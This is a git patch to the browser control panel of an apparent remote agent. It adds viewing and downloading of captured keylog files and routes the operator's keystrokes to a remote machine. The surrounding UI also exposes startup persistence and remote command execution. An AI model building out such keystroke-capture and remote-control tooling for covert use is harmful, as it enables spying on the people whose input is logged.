From 4f8ee5f6be34c6692d3e332a3952bd31bcb364c5 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Fri, 28 Aug 2026 13:22:59 +0300 Subject: [PATCH] Add log viewing and downloading functionality to the web interface. Implement interactive log selection with visual feedback, and enhance modifier button states for improved user experience. Update styles for better accessibility and usability of log-related elements. --- lib/agent/web/app.js | 113 ++++++++++++++++++++++++++++++++------- lib/agent/web/index.html | 76 +++++++++++++++++++------- 2 files changed, 150 insertions(+), 39 deletions(-) diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 38bab7b..1b24512 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -10,6 +10,8 @@ const execMeta = document.getElementById("exec-meta"); const logMeta = document.getElementById("log-meta"); const logRows = document.getElementById("log-rows"); + const logView = document.getElementById("log-view"); + const logViewTitle = document.getElementById("log-view-title"); const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); @@ -20,6 +22,8 @@ let objectUrls = []; let videoRunning = false; + let videoTabActive = false; + let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; function showError(message) { @@ -338,6 +342,41 @@ const modState = { ctrl: false, alt: false, shift: false, win: false }; + function setModButton(name, active) { + const button = document.querySelector(`.mod-btn[data-mod="${name}"]`); + if (!button) return; + button.classList.toggle("active", active); + button.setAttribute("aria-pressed", active ? "true" : "false"); + } + + function isTypingTarget(el) { + if (!el || el === document.body) return false; + const tag = el.tagName; + if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true; + if (el.isContentEditable) return true; + return false; + } + + function setVideoTabActive(active) { + if (videoTabActive === active) return; + videoTabActive = active; + document.removeEventListener("keydown", onVideoKeydown, true); + if (active) { + document.addEventListener("keydown", onVideoKeydown, true); + } + } + + function onVideoKeydown(event) { + if (!videoTabActive) return; + if (isTypingTarget(event.target)) return; + if (MODIFIER_CODES.has(event.code)) return; + const key = keyFromEvent(event); + if (!key) return; + event.preventDefault(); + event.stopPropagation(); + sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); + } + function keyFromEvent(event) { if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { @@ -368,35 +407,75 @@ for (const [name, active] of Object.entries(modState)) { if (!active) continue; modState[name] = false; - document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); + setModButton(name, false); jobs.push(sendRemoteKey(name, "up")); } await Promise.all(jobs); } + function downloadLog(name) { + const link = document.createElement("a"); + link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`; + link.download = name; + document.body.append(link); + link.click(); + link.remove(); + } + + async function openLog(name, row) { + selectedLogName = name; + document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected")); + row?.classList.add("selected"); + logViewTitle.textContent = name; + logView.hidden = false; + logView.textContent = "Loading…"; + try { + const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`); + logView.textContent = await res.text(); + } catch (err) { + logView.textContent = ""; + logView.hidden = true; + logViewTitle.textContent = ""; + showError(err.message); + } + } + async function listKeylogs() { const res = await api("/api/v1/keylog"); const data = await res.json(); const files = data.files || []; - logMeta.textContent = `${files.length} files · ${data.directory || ""}`; + logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`; logRows.replaceChildren(); for (const file of files) { const tr = document.createElement("tr"); + tr.className = "log-row"; + if (file.name === selectedLogName) tr.classList.add("selected"); const name = document.createElement("td"); + name.className = "log-name"; name.textContent = file.name; + name.addEventListener("click", () => { + openLog(file.name, tr).catch((err) => showError(err.message)); + }); + tr.addEventListener("contextmenu", (event) => { + event.preventDefault(); + downloadLog(file.name); + }); const size = document.createElement("td"); size.textContent = formatBytes(file.size || 0); const modified = document.createElement("td"); modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; - const action = document.createElement("td"); - const link = document.createElement("a"); - link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`; - link.download = file.name; - link.textContent = "Download"; - action.append(link); - tr.append(name, size, modified, action); + tr.append(name, size, modified); logRows.append(tr); } + if (selectedLogName && !files.some((file) => file.name === selectedLogName)) { + selectedLogName = ""; + logView.hidden = true; + logView.textContent = ""; + logViewTitle.textContent = ""; + } else if (selectedLogName) { + const row = logRows.querySelector("tr.log-row.selected"); + openLog(selectedLogName, row).catch((err) => showError(err.message)); + } } async function runCommand() { @@ -420,7 +499,9 @@ document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active")); button.classList.add("active"); document.getElementById(button.dataset.tab).classList.add("active"); - if (button.dataset.tab !== "video") { + const onVideo = button.dataset.tab === "video"; + setVideoTabActive(onVideo); + if (!onVideo) { stopVideo(); } if (button.dataset.tab === "logs") { @@ -473,23 +554,15 @@ event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); - const videoKeys = document.getElementById("video-keys"); - videoKeys.addEventListener("keydown", (event) => { - if (MODIFIER_CODES.has(event.code)) return; - const key = keyFromEvent(event); - if (!key) return; - event.preventDefault(); - sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); - }); document.querySelectorAll(".mod-btn").forEach((button) => { button.addEventListener("click", () => { const name = button.dataset.mod; if (!name) return; modState[name] = !modState[name]; - button.classList.toggle("active", modState[name]); + setModButton(name, modState[name]); sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { modState[name] = !modState[name]; - button.classList.toggle("active", modState[name]); + setModButton(name, modState[name]); showError(err.message); }); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index c10d178..5927c1e 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -130,24 +130,60 @@ padding: 0.65rem 1.25rem; color: var(--danger); } - nav button.mod-btn.active { - background: var(--accent); - border-color: var(--accent); - color: #fff; + .mod-btn { + position: relative; + min-width: 3.75rem; + font-weight: 600; + letter-spacing: 0.02em; + background: #f3f4f6; + border-color: #d1d5db; + color: var(--muted); + transition: background 0.12s, border-color 0.12s, color 0.12s, box-shadow 0.12s; } - #video-keys { + .mod-btn::before { + content: ""; + display: inline-block; + width: 0.45rem; + height: 0.45rem; + margin-right: 0.35rem; + border-radius: 50%; + background: #9ca3af; + vertical-align: 0.05em; + transition: background 0.12s, box-shadow 0.12s; + } + .mod-btn.active { + background: #dbeafe; + border-color: var(--accent); + color: #1e40af; + box-shadow: inset 0 1px 2px rgba(37, 99, 235, 0.12); + } + .mod-btn.active::before { + background: var(--accent); + box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.25); + } + #video-key-hint { flex: 1; min-width: 12rem; padding: 0.55rem 0.75rem; - border: 1px dashed var(--line); + border: 1px solid var(--line); border-radius: 6px; - background: #fff; - cursor: text; - outline: none; + background: #f9fafb; + color: var(--muted); + font-size: 0.9rem; } - #video-keys:focus { - border-color: var(--accent); - box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); + td.log-name { + cursor: pointer; + color: var(--accent); + } + tr.log-row.selected td { background: #eff6ff; } + #log-view { + margin-top: 0.75rem; + max-height: 28rem; + } + #log-view-title { + margin: 0 0 0.35rem; + font-size: 0.9rem; + color: var(--muted); } @@ -226,14 +262,14 @@

-
Click here, then type on your keyboard
+
Keyboard sends to remote while this tab is active
- - - - - Toggle modifiers, then type in the box above + + + + + Toggle sticky modifiers · type anywhere on this tab
@@ -257,10 +293,12 @@

- +
FileSizeModified
FileSizeModified
+

+